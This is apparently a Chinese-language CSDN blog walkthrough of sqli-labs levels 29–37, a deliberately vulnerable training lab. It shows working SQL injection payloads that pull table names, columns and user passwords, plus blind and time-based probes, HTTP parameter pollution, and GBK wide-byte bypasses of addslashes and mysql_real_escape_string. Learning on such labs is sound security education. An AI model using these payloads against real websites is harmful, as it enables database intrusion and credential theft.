sqli-labs通关攻略教程——双服务器+宽字节注入(less29~less37)

本文详细介绍了通过Docker搭建的sqli-labs靶场,逐步揭示了服务器两层架构下的SQL注入漏洞利用过程,包括闭合方式测试、盲注技巧、宽字节注入方法等,涉及数据库查询、表和字段的探测。内容涵盖了从单引号到双引号闭合,从数字型注入到宽字节注入的多种情况,对于理解SQL注入和安全防护具有实践意义。
摘要由CSDN通过智能技术生成


从29关开始使用docker搭建的sqli-labs靶场
KALI搭建Docker+Vulhub和sqli-labs靶场

补充知识-服务器的两层架构

mysql之注入天书服务器

服务器两层架构即不同的id值有不同的服务器来解读。
http参数污染:jsp/tomcat使用getgetParameter("id")获取到第一个值,php/apache使用$_GET["id"]获取的是第二个值,那么第一个id就是纯数字,第二个id的值注入就可以了。

less 29

  1. 测试发现闭方式为单引号
    在这里插入图片描述

  2. 使用order by查询字段,结果为3在这里插入图片描述

  3. 使用联合注入,查看回显位置

?id=-1' union select 1,2,3--+

在这里插入图片描述
4. 查询数据库

?id=-1' union select 1,2,database()--+

在这里插入图片描述
5. 查询数据库中的表

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

在这里插入图片描述
6. 查询表user中的字段

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='user'--+

在这里插入图片描述
7. 查询字段中的值

?id=-1' union select 1,2,group_concat(Password) from security.users--+

在这里插入图片描述
8. 总结:没有任何的过滤

less 30

  1. 经过测试后闭合方式为双引号在这里插入图片描述
  2. 使用order by字段测试,发现回显只有一种在这里插入图片描述
  3. 猜测本题使用盲注的思路。
?id=-1" or left(database(),1)='s'--+

?id=0' or 4=(select count(table_name) from information_schema.tables where table_schema=database());--+   //判断数据库中表的数量

?id=1& if(left((select table_name from information_schema.tables where table_schema='security'  limit 1,1 ),  1 )='u'--+

?id=-1" || database() regexp 's'--+

?id=-1" || substr(database(),1,1)='s'--+

ascil函数不太行,这题暂时不考虑ascil函数

?id=1" and  if(length(database())=8,1,sleep(10))--+

if函数可套用left或者substr函数或ascil函数

?id=1&id=-2" union select 1,2,3--+  //联合注入,服务器的两层架构

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

less 31

本关的闭合方式为"),其余与上一关相同,均使用盲注的思路。

less 32

  1. 首先测试闭合方式,发现无论闭合方式为什么,均被\转义。在这里插入图片描述

  2. 查看题目中的提示addslashes函数

    PHP中的addslashes函数详解

    addslashes函数的绕过方法

  3. 本道题发现依然需要使用盲注的思路,经过多次测试,发现也并不为数字型注入,闭合方式为单引号。由于单引号会被转义,将单引号使用url编码为%27

  4. 在这里我们使用宽字节注入的思路。宽字节注入主要是采用GBK 编码。

原理:mysql 在使用 GBK 编码的时候,会认为两个字符为一个汉字,例如%aa%5c 就是一个汉字(前一个 ascii 码大于 128 才能到汉字的范围)。我们在过滤 ' 的时候,往往利用的思路是将 ' 转换为 \'。(\ascil码是92,换成十六进制为5c%5curl编码。

%df吃掉 \ 具体的原因是 urlencode(‘) = %5c%27,我们在%5c%27 前面添加%df,形成%df%5c%27,而上面提到的 mysqlGBK 编码方式的时候会将两个字节当做一个汉字,此 %df%5c 就是一个汉字,%27则作为一个单独的符号在外面,同时也就达到了我们的目的。
同理,%aa、%bb均可以使用。

?id=1%aa%27 order by 3--+

?id=-1%aa%27union select 1,2,database()--+

?id=-1%aa%27union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479--+

?id=-1%aa%27union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273--+

?id=-1%aa%27union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users--+

在这里插入图片描述

less 33

  1. 题目中的提示addslashes()函数参考上一关的相关博客分享。
  2. 经过测试,与上一关相同,使用宽字节注入
?id=-1%aa%27 union select 1,2,3--+   //联合注入

less 34

查看题目提示,与上一关的区别在于本关传参方式为post

uname=1%aa%27 union select 1,database()#&passwd=1&submit=Submit

在这里插入图片描述

less 35

查看题目提示本关为数字型注入,闭合处不需要考虑过滤转义,但联合注入查询库中表、字段、字段中的值时需要使用十六进制来表示。

less 36

  1. 查看题目提示中的mysql_real_escape_string() 函数

    PHP中mysql_real_escape_string()函数详解

  2. 我们尝试前几关的宽字节注入方法,发现可行,且闭合方式为单引号,使用url编码%27

less 37

题目提示,与上一关的区别在于本关传参方式为POST,使用burp抓包尝试注入。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

poggioxay

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值